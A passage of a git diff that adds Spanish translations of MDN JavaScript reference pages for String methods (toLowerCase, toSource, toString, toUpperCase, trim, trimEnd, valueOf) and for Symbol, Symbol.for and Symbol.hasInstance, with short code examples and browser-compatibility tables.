+<pre><code><em>cadena</em>.toLowerCase() </code></pre>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>El método <code>toLowerCase</code> devuelve el valor de la cadena convertida a minúsculas. <code>toLowerCase</code> no afecta al valor de la cadena en sí misma.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_toLowerCase" name="Ejemplo:_Usando_toLowerCase">Ejemplo: Usando <code>toLowerCase</code></h3>
+
+<p>El siguiente ejemplo muestra la cadena "alfabeto" en minúsculas:</p>
+
+<pre>var textoMayusculas="ALFABETO"
+document.write(textoMayusculas.toLowerCase())
+</pre>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toUpperCase()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/tosource/index.html b/files/es/web/javascript/referencia/objetos_globales/string/tosource/index.html
new file mode 100644
index 0000000000..104738c22d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/tosource/index.html
@@ -0,0 +1,56 @@
+---
+title: String.prototype.toSource()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/toSource
+tags:
+  - Cadena
+  - JavaScript
+  - No estandar
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toSource
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>El método <strong><code>toSource()</code></strong> devuelve una cadena que representa el código fuente del objeto.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>String.toSource()
+<var>str</var>.toSource()
+</code></pre>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Una cadena que representa el código fuente del objeto.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>toSource()</code> devuelve los siguientes valores:</p>
+
+<p>Para el objeto incorporado {{jsxref("String")}}, <code>toSource()</code> devuelve la siguiente cadena indicando que el código fuente no está disponible:</p>
+
+<pre class="brush: js">function String() {
+    [native code]
+}
+</pre>
+
+<p>Para instancias de {{jsxref("String")}} o cadenas literales, <code>toSource()</code> devuelve una cadena representando el código fuente.</p>
+
+<p>Este método usualmente es llamado internamente por JavaScript y no explícitamente en código.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ningún estándar. Implementado en JavaScript 1.3.</p>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada desde datos estructurados. Si deseas contribuir a los datos, por favor visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos un pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.toSource")}}</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/tostring/index.html b/files/es/web/javascript/referencia/objetos_globales/string/tostring/index.html
new file mode 100644
index 0000000000..89f53666b1
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/tostring/index.html
@@ -0,0 +1,28 @@
+---
+title: String.prototype.toString()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/toString
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toString
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>El <strong><code>toString()</code></strong> método devuelve una cadena que representa al objeto especificado.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre><code><em>cadena</em>.toString() </code></pre>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>El objeto <code>String</code> sobreescribe el método <code>toString</code> del objeto {{jsxref("Object")}} object; no hereda {{jsxref("Object.toString()")}}. Para objetos <code>String</code>, el método <code>toString</code> devuelve una cadena que representa al objeto.</p>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<h3 id="Ejemplo:_Usando_toString" name="Ejemplo:_Usando_toString">Ejemplo: Usando <code>toString</code></h3>
+<p>El siguiente ejemplo muestra el valor cadena de un objeto String:</p>
+<pre class="brush: js">cadena = new String("Hello world");
+alert(cadena.toString())      // Displays "Hello world"
+</pre>
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("String.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/touppercase/index.html b/files/es/web/javascript/referencia/objetos_globales/string/touppercase/index.html
new file mode 100644
index 0000000000..77b05b28b4
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/touppercase/index.html
@@ -0,0 +1,39 @@
+---
+title: String.prototype.toUpperCase()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/toUpperCase
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toUpperCase
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El <strong><code>toUpperCase()</code></strong> método devuelve el valor convertido en mayúsculas de la cadena que realiza la llamada.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre><code><em>cadena</em>.toUpperCase() </code></pre>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>El método <code>toUpperCase</code> devuelve el valor de la cadena convertida a mayúsculas. <code>toUpperCase</code> no afecta al valor de la cadena en sí mismo.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_toUpperCase" name="Ejemplo:_Usando_toUpperCase">Ejemplo: Usando <code>toUpperCase</code></h3>
+
+<p>El siguiente ejemplo muestra la cadena "<code>ALPHABET</code>":</p>
+
+<pre class="brush: js">console.log( "alphabet".toUpperCase() ); // "ALPHABET"
+</pre>
+
+<h3 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h3>
+
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLowerCase()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/trim/index.html b/files/es/web/javascript/referencia/objetos_globales/string/trim/index.html
new file mode 100644
index 0000000000..d958d713eb
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/trim/index.html
@@ -0,0 +1,133 @@
+---
+title: String.prototype.trim()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/Trim
+translation_of: Web/JavaScript/Reference/Global_Objects/String/Trim
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El método <strong>trim( )</strong> elimina los espacios en blanco en ambos extremos del string. Los espacios en blanco en este contexto, son todos los caracteres sin contenido (espacio, tabulación, etc.) y todos los caracteres de nuevas lineas (LF,CR,etc.).</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.trim()</code></pre>
+
+<p>Una nueva cadena que representa la cadena de llamada sin espacios en blanco de ambos extremos.</p>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>El método <strong>trim( ) </strong>devuelve la cadena de texto despojada de los espacios en blanco en ambos extremos. El método no afecta al valor de la cadena de texto.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Using_trim" name="Example:_Using_trim">Ejemplo: Uso de <code>trim()</code></h3>
+
+<p>El siguiente ejemplo muestra la cadena de texto en minúsculas 'foo':</p>
+
+<pre class="brush: js">var orig = '   foo  ';
+console.log(orig.trim()); // 'foo'
+
+// Otro ejemplo de .trim() eliminando el espacio en blanco sólo de un lado.
+
+var orig = 'foo    ';
+console.log(orig.trim()); // 'foo'
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Polyfill</h2>
+
+<p>Ejecutar el siguiente código antes de cualquier otro código creará un trim ( ) si este no está disponible de manera nativa.</p>
+
+<pre class="brush: js">if (!String.prototype.trim) {
+  (function() {
+    // Make sure we trim BOM and NBSP
+    var rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;
+    String.prototype.trim = function() {
+      return this.replace(rtrim, '');
+    };
+  })();
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.20', 'String.prototype.trim')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>
+    <p>Definición inicial. Implementado en JavaScript 1.8.1.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.trim', 'String.prototype.trim')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("10.5")}}</td>
+   <td>{{CompatSafari("5")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.trimLeft()")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("String.prototype.trimRight()")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/trimend/index.html b/files/es/web/javascript/referencia/objetos_globales/string/trimend/index.html
new file mode 100644
index 0000000000..6252141adf
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/trimend/index.html
@@ -0,0 +1,82 @@
+---
+title: String.prototype.trimEnd()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/trimEnd
+tags:
+  - Espacios en blanco
+  - JavaScript
+  - Métodos
+  - Prototype
+  - String
+  - Texto
+  - cadenas de texto
+translation_of: Web/JavaScript/Reference/Global_Objects/String/trimEnd
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>trimEnd()</code></strong> elimina los espacios en blanco al final de una cadena de carácteres. <code>trimRight()</code> es el alias de este método.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-trimend.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><code><var>str</var>.trimEnd();
+<var>str</var>.trimRight();</code></pre>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Una nueva cadena de texto que representa la cadena de texto llamada sin espacios en blanco de su extremo (derecho).</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><code>trimEnd()</code> / <code>trimRight()</code> Los metodos devuelven una cadena de texto sin espacios en blanco desde su extremo derecho. <code>trimEnd()</code> ó <code>trimRight()</code> no afectan el valor de la cadena de texto en sí.</p>
+
+<h3 id="Superposición">Superposición</h3>
+
+<p>Por coherencia de funciones como {{jsxref("String.prototype.padEnd")}} el nombre del método estandar es <code>trimEnd</code>. Sin embargo por compatibilidad web, <code>trimRight</code> permanece como un alias para <code>trimEnd</code>. En algunos motores esto significa: </p>
+
+<pre class="brush: js notranslate">String.prototype.trimRight.name === "trimEnd";</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Usando_trimEnd">Usando <code>trimEnd()</code></h3>
+
+<p>El siguiente ejemplo muestra la cadena de texto en minusculas <code>'   foo'</code>:</p>
+
+<pre class="brush: js; highlight: [5] notranslate">var str = '   foo  ';
+
+console.log(str.length); // 8
+
+str = str.trimEnd();
+console.log(str.length); // 6
+console.log(str);        // '   foo'
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.trimend', 'String.prototype.trimEnd')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.trimEnd")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.trim()")}}</li>
+ <li>{{jsxref("String.prototype.trimStart()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/valueof/index.html b/files/es/web/javascript/referencia/objetos_globales/string/valueof/index.html
new file mode 100644
index 0000000000..b287c4d774
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/valueof/index.html
@@ -0,0 +1,28 @@
+---
+title: String.prototype.valueOf()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/valueOf
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/valueOf
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>The <strong><code>valueOf()</code></strong> método devuelve el valor primitivo de un objeto String.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre><code><em>caneda</em>.valueOf() </code></pre>
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+<p>El método <code>valueOf</code> de <code>String</code> devuelve el valor primitivo de un objeto String como un tipo de dato cadena. Este valor es equivalente a String.toString.</p>
+<p>Normalmente este método es llamado internamente por JavaScript y no en el código.</p>
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+<h3 id="Ejemplo:_Usando_valueOf" name="Ejemplo:_Usando_valueOf">Ejemplo: Usando <code>valueOf</code></h3>
+<pre class="brush: js">cadena = new String("Hello world");
+alert(cadena.valueOf())          // Displays "Hello world"
+</pre>
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+<ul>
+ <li>{{jsxref("String.prototype.toString()")}}</li>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/symbol/for/index.html b/files/es/web/javascript/referencia/objetos_globales/symbol/for/index.html
new file mode 100644
index 0000000000..1111e49b7a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/symbol/for/index.html
@@ -0,0 +1,153 @@
+---
+title: Symbol.for()
+slug: Web/JavaScript/Referencia/Objetos_globales/Symbol/for
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/for
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Symbol.for(key)</strong></code> busca símbolos existentes en el runtime global del registro de <em>symbols</em> con la <code>key</code> enviada cómo argumento y devuelve el symbol si fue encontrada. Sino, un nuevo symbol es creado en el registro global de <em>symbols </em>con dicha <code>key</code> .</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>Symbol.for(key)</var>;</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>String, requirido. La <em>key </em>para el símbolo (y también usada para la descripción del <em>Symbol</em>).</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un <em>Symbol </em>existente para la <em>key </em>enviada si se encuentra, un nuevo <em>Symbol</em> creado para la <em>key </em>si no es encontrado.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>A diferencia de <code>Symbol()</code>,  la función <code>Symbol.for()</code> crea un symbol disponible el registro global de symbols.</p>
+
+<p>Sin embargo, <code>Symbol.for()</code> no crea un nuevo symbol en cada llamada: primero chequea si existe un symbol para la <code>key</code> en el registro y sólo crea un nuevo symbol si la <code>key</code> no es encontrada.</p>
+
+<p>El registro global de symbol es una lista con la siguiente estructura (inicializada vacía):</p>
+
+<table class="standard-table">
+ <caption>Estructura registro global de symbol</caption>
+ <tbody>
+  <tr>
+   <th>Field name</th>
+   <th>Value</th>
+  </tr>
+  <tr>
+   <td>[[key]]</td>
+   <td>Un string usado como key para identifcar al símbolo.</td>
+  </tr>
+  <tr>
+   <td>[[symbol]]</td>
+   <td>El symbol que es guardado globalmente.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">Symbol.for('foo'); // crea un nuevo global symbol
+Symbol.for('foo'); // devuelve el symbol creado
+
+// El mismo symbol global, pero no localmente
+Symbol.for('bar') === Symbol.for('bar'); // true
+Symbol('bar') === Symbol('bar'); // false
+
+// La key es usada en la descripción
+var sym = Symbol.for('mario');
+sym.toString(); // "Symbol(mario)"
+</pre>
+
+<p>Es una buena práctica agregar un prefijo a los symbols para evitar conflictos con otras librerias del código:</p>
+
+<pre class="brush: js">Symbol.for('mdn.foo');
+Symbol.for('mdn.bar');
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.for', 'Symbol.for')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.for', 'Symbol.for')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_exploradores">Compatibilidad entre exploradores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome(40) }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("36.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>9</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("36.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Symbol.keyFor()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/symbol/hasinstance/index.html b/files/es/web/javascript/referencia/objetos_globales/symbol/hasinstance/index.html
new file mode 100644
index 0000000000..9149aeda00
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/symbol/hasinstance/index.html
@@ -0,0 +1,105 @@
+---
+title: Symbol.hasInstance
+slug: Web/JavaScript/Referencia/Objetos_globales/Symbol/hasInstance
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance
+---
+<div>{{JSRef}}</div>
+
+<p>El bien conocido símbolo <strong><code>Symbol.hasInstance</code></strong> es usado para determinar si un constructor reconoce un objeto como su instancia. El comportamiento del operador {{jsxref("Operators/instanceof", "instanceof")}} puede ser personalizado con este símbolo.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Usted puede implementar un comportamiento personalizado para el operador <code>instanceof</code> tal que así:</p>
+
+<pre class="brush: js">class MyArray {
+  static [Symbol.hasInstance](instance) {
+    return Array.isArray(instance);
+  }
+}
+console.log([] instanceof MyArray); // true</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-symbol.hasinstance', 'Symbol.hasInstance')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-symbol.hasinstance', 'Symbol.hasInstance')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop(50) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile(50) }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Operators/instanceof", "instanceof")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/symbol/index.html b/files/es/web/javascript/referencia/objetos_globales/symbol/index.html
new file mode 100644
index 0000000000..ef21b5fb6c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/symbol/index.html
@@ -0,0 +1,364 @@
+---
+title: Symbol
+slug: Web/JavaScript/Referencia/Objetos_globales/Symbol
+translation_of: Web/JavaScript/Reference/Global_Objects/Symbol
+---
+<div>{{JSRef}}</div>
+
+<p><em><strong>Symbol</strong></em> es un tipo de datos cuyos valores son únicos e immutables. Dichos valores pueden ser utilizados como identificadores (claves) de las propiedades de los objetos.  Cada valor del tipo Symbol tiene asociado un valor del tipo String o Undefined que sirve únicamente como descripción del símbolo.</p>
+
+<p>La función <code>Symbol</code> {{Glossary("Primitive", "primitive data type")}} es el constructor de valores del tipo <em><strong>Symbol</strong></em>. Cuando <code>Symbol </code>es llamado como función nos devuelve una nuevo valor del tipo <em><strong>Symbol.</strong></em> El constructor <code>Symbol</code> no debe ser usado con el operador <code>new</code>. Tampoco debe ser extendido mediante clases.</p>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Symbol(<em>[description]</em>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>Descripcion</code> {{optional_inline}}</dt>
+ <dd>Es un valor opcional de tipo String. Únicamente sirve como descripción del símbolo que puede ser útil para depurar. No permite el acceso al símbolo que describe.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Para crear un nuevo símbolo, simplemente escribimos  <code>Symbol()</code>, opcionalmente  con un argumento de tipo String que constituiría la descripción del símbolo:</p>
+
+<pre class="brush: js">var sym1 = Symbol();
+var sym2 = Symbol("foo");
+var sym3 = Symbol("foo");
+</pre>
+
+<p>El código anterior crea tres símbolos nuevos. Hay que destacar que  <code>Symbol("foo")</code> no convierte la cadena "foo" en un símbolo, sino que crea un símbolo nuevo que tiene la misma descripción.</p>
+
+<pre class="brush: js">Symbol("foo") === Symbol("foo"); // false</pre>
+
+<p>La siguiente sintaxis con el operador {{jsxref("Operators/new", "new")}} lanzará un {{jsxref("TypeError")}}:</p>
+
+<pre class="brush: js">var sym = new Symbol(); // TypeError</pre>
+
+<p>Esto evita la creación de un objeto envolvente explícito de Symbol en lugar de un nuevo valor de tipo símbolo. Si realmente se desea crear un <code>Symbol</code> wrapper object,  podemos usar la función <code>Object()</code>:</p>
+
+<pre class="brush: js">var sym = Symbol("foo");
+typeof sym;     // "symbol"
+var symObj = Object(sym);
+typeof symObj;  // "object"
+</pre>
+
+<h3 id="Símbolos_compartidos_en_el_registro_global_de_símbolos">Símbolos compartidos en el registro global de símbolos</h3>
+
+<p>La sintaxis anteriormente descrita que usa la función <code>Symbol()</code> no creara un símbolo global disponible para toda el código base. Para crear símbolos accesibles a través de los archivos incluso a través de <em>realms</em> (cada uno de los cuales tiene su propio <em>global scope</em>) es necesario utilizar los métodos {{jsxref("Symbol.for()")}} y {{jsxref("Symbol.keyFor()")}} para crear y acceder a los símbolos desde un registro global de valores del tipo <em>Symbol</em>.</p>
+
+<h3 id="Encontrando_las_claves_de_tipo_símbolo_de_un_objeto">Encontrando las claves de tipo símbolo de un objeto</h3>
+
+<p>El método {{jsxref("Object.getOwnPropertySymbols()")}} devuelve un <em>array</em> con los símbolos que sirven como claves de las propiedades propias de un objeto. Hay que destacar que cada objeto es inicializado sin propiedades propias con claves de tipo <em>Symbol</em>, así que este <em>array</em> estará vacio a menos que se hayan creado explicitamente propiedades con clave de tipo símbolo en el objeto.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt><code>Symbol.length</code></dt>
+ <dd>La propiedad <code>length</code> cuyo valor es 0 para todos los símbolos.</dd>
+ <dt>{{jsxref("Symbol.prototype")}}</dt>
+ <dd>Representa el prototipo constructor <code>Symbol</code>. Es un objeto ordinario.</dd>
+</dl>
+
+<h3 id="Símbolos_bien_conocidos">Símbolos bien conocidos</h3>
+
+<p>JavaScript tiene algunos <em>símbolos incorporados</em> que representan comportamientos internos del lenguaje que no fueron expuestos a los programadores antes de ECMAScript 6. Se accede a los dichos símbolos a través de las siguientes propiedades del constructor <code>Symbol.</code></p>
+
+<h4 id="Símbolo_de_iteración">Símbolo de iteración</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.iterator")}}</dt>
+ <dd>Los objetos que implementen la interfaz <em><a href="http://www.ecma-international.org/ecma-262/6.0/#sec-iterable-interface">Iterable</a></em> deben tener una propiedad que tenga como clave este símbolo. Dicha propiedad debe ser una función que devuelva un objeto que implemente la interfaz <em><a href="http://www.ecma-international.org/ecma-262/6.0/#sec-iterator-interface">Iterator</a></em>.  Usado por <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of"><code>for...of</code></a>.</dd>
+</dl>
+
+<h4 id="Símbolos_de_expresiones_regulares">Símbolos de expresiones regulares</h4>
+
+<dl>
+ <dt>{{jsxref("Symbol.match")}}</dt>
+ <dd>Un método que iguala a un String, también usado para determinar si un objeto puede ser usado como una expresión regular. Usado por {{jsxref("String.prototype.match()")}}.</dd>
+ <dt>{{jsxref("Symbol.replace")}}</dt>
+ <dd>Un método que reemplaza las subcadenas que coinciden con una cadena. Utilizado por {{jsxref("String.prototype.replace()")}}.</dd>
